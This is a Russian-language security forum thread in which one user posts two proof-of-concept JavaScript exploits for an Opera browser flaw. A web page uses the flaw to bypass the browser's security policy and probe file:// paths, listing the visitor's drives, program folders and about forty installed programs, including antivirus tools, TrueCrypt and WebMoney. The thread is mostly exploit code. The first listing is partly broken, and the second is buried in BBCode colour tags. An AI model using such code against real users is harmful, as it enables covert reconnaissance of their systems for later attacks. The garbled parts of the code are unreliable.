ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

17.10.2012, 03:49
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме: 4512
Репутация:
0
|
|
follow
Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html
Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.
При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.
Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.
PoC ( Windows, Linux; Opera
varifr=frames[0].document.documentElement;
vardiskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';
vardiskDiv=document.createElement('div');
diskDiv.innerHTML='disks:
';
document.body.appendChild(diskDiv);
vardirArr= new Array(
'program files',
'program files (x86)'
);
vardirDiv=document.createElement('div');
dirDiv.innerHTML='
program folders:
';
document.body.appendChild(dirDiv);
varprogArr= new Array(
'adobe',
'akelpad',
'alcohol soft',
'avira',
'charles',
'daemon tools lite',
'drweb',
'eset',
'filezilla ftp client',
'filezilla ftp server',
'icq7.1',
'icq7.2',
'icq7.3',
'icq7.4',
'icq7.5',
'icq7.6',
'icq7.7',
'kaspersky lab',
'mcafee',
'microsoft office',
'microsoft visual studio',
'microsoft.net',
'mozilla firefox',
'nmap',
'nvidia corporation',
'notepad++',
'psi+',
'paragon software',
'qip',
'qip2010',
'qip2011',
'skype',
'teamviewer',
'total commander',
'truecrypt',
'utorrent',
'webmoney',
'winpcap',
'winrar',
'wireshark'
);
varprogDiv=document.createElement('div');
progDiv.innerHTML='
programs:
';
document.body.appendChild(progDiv);
functionadd(name,type,img)
{
if(img.complete)
{
switch(type)
{
case0:
diskDiv.innerHTML+=name+'
';
checkDir(name);
break
case1:
dirDiv.innerHTML+=name+'
';
checkProg(name);
break;
case2:
progDiv.innerHTML+=name+'
';
break;
case3:
progDiv.innerHTML+=name+'
';
}
}
else if(type==3)
{
checkDisk();
}
}
functioncheckProg(dir)
{
for(varj in progArr)
ifr.innerHTML="";
}
functioncheckDir(disk)
{
for(varj in dirArr)
ifr.innerHTML="";
}
functioncheckDisk()
{
for(vari in diskArr)
ifr.innerHTML="";
}
(function()
{
ifr.innerHTML="";
})()
[/COLOR]
[/PHP]
тема на rdot.org
|
|
|

09.11.2012, 17:30
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме: 4512
Репутация:
0
|
|
6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.
Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.
PoC (Windows; Opera 12.10)
http://mscript.biz/opera_localfiles2.html
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
var[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]documentElement[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'CDEFGHIJKLMNOPQRSTUVWXYZ'[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'disks: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"]= new Array(
[/COLOR][COLOR="#DD0000"]'program files'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'program files (x86)'
[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]' program folders: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"]= new Array(
[/COLOR][COLOR="#DD0000"]'adobe'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'akelpad'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'alcohol soft'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'avira'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'charles'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'daemon tools lite'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'drweb'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'eset'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'filezilla ftp client'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'filezilla ftp server'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.1'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.2'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.3'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.4'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.5'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.6'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'icq7.7'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'kaspersky lab'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'mcafee'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft office'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft visual studio'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'microsoft.net'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'mozilla firefox'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'nmap'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'nvidia corporation'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'notepad++'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'psi+'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'paragon software'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip2010'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'qip2011'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'skype'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'teamviewer'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'total commander'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'truecrypt'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'utorrent'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'webmoney'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'winpcap'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'winrar'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'wireshark'
[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]' programs: '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]);
function[/COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]removeChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
switch([/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"])
{
case[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);
break
case[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);
break;
case[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:
[/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"];
break;
}
}
function[/COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"])
{
for(var[/COLOR][COLOR="#0000BB"]i in progArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 2, this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
}
function[/COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"])
{
for(var[/COLOR][COLOR="#0000BB"]i in dirArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 1,this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
}
(function[/COLOR][COLOR="#0000BB"]checkDisk[/COLOR][COLOR="#007700"]()
{
for(var[/COLOR][COLOR="#0000BB"]i in diskArr[/COLOR][COLOR="#007700"])
{
var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':", 0, this)'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);
}
})()
[/COLOR][COLOR="#0000BB"]
[/COLOR]
[/COLOR]
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|